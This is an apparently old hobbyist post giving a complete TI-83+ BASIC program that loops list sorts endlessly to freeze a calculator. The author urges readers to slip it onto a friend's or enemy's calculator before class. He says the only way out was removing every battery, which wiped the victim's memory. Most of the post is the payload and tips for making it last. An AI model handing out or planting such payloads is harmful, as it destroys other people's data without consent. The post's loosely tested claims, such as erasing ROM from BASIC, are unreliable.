Discovered by Aaron Marchiafava (fava15@msn.net/fava1569 @aim) Found this out in 2001 but didn't realize till now that noone else had figured it out. So i'm posting it for anyone to go crazy with. OK, I was messing with my friends calculator and all I wanted to do is cause the calculator to be forced to work so hard that it couldn't be exited for a long time without taking all the batteries out. Well that's an understatement to what I found! When, I made this simple and short basic program and ran it, it never ended even after he took out the batteries. It continued to run from where it left off and no keys stopped it(not the [on] key or even trying to overwelm it with keystrokes). All this from a basic program. Now since my way can be controlled(the time it takes to finish), it would have ended eventually. However I didn't realize that it would do this so I put in a huge variable making it last for over 2 hours till he got frustrated and took out all the batteries and even the little backup battery. That worked but everything in ram and rom was deleted. I laughed so hard! Now his calculator was a regular ti-83+ so since the SE is faster I guess it will execute it faster, however i'm not going to test it on mine. But since it's a basic, all you would have to do is loop it causing it to never end untill you take out every battery(little bat. included). Now I'm sure some jealous genious will find away around this using an interupt or whatever but remember this is a way to freeze their calc and delete their rom and ram, FROM BASIC!!! Just put this in one of your programs or something or just quickly make it on someones calc before class to mess with a friend or enemy, whoever. P.S. Since i've only done this twice and since I really don't want to mess up mine and lose those APPs that came with it that cost like an annoying $5 or something, I don't know if it works everytime or even with every calc. I'm just instigating on what happened only twice. Enjoy! ":" means an enter New basic Program or even from the home screen if you don't want to make the endless loop. P.S. If you use the loop, make sure it's long enough for the calc to not realize whats going on and end it with an error:syntax or something. This is something I have tested and actually happens. :999->dim(L1) :999->dim(L2) :Fill(999999,L1) :Fill(999999,L2) :Lbl START :SortA(L1) :SortD(L1) :SortA(L2) :SortD(L2) :Goto START Done, it's that small and simple. Just remember a few things:1.if you are doing this in a program just remember that memory is only so large, so try it with only list because each list will be 9003 bytes. If you make two then that's over half of your memory. 2. Use both lists if you are just going to do it on the home screen since it won't be making any loops(if you want it to last awhile). 3. you can try 1 or both lists, and you can vary the size, just remember that I haven't tested it too much so I don't know what is the minimum required. I do know that if you make it too small that a loop will stop with an error:syntax however double sorting both strings might fix that even if they are relatively small. I don't know, so go out there a have fun. Give me some feed back if you like this or found it usefull in a program, or even if you have a funny story about what you did to your friends/enemys. email=fava15@msn.com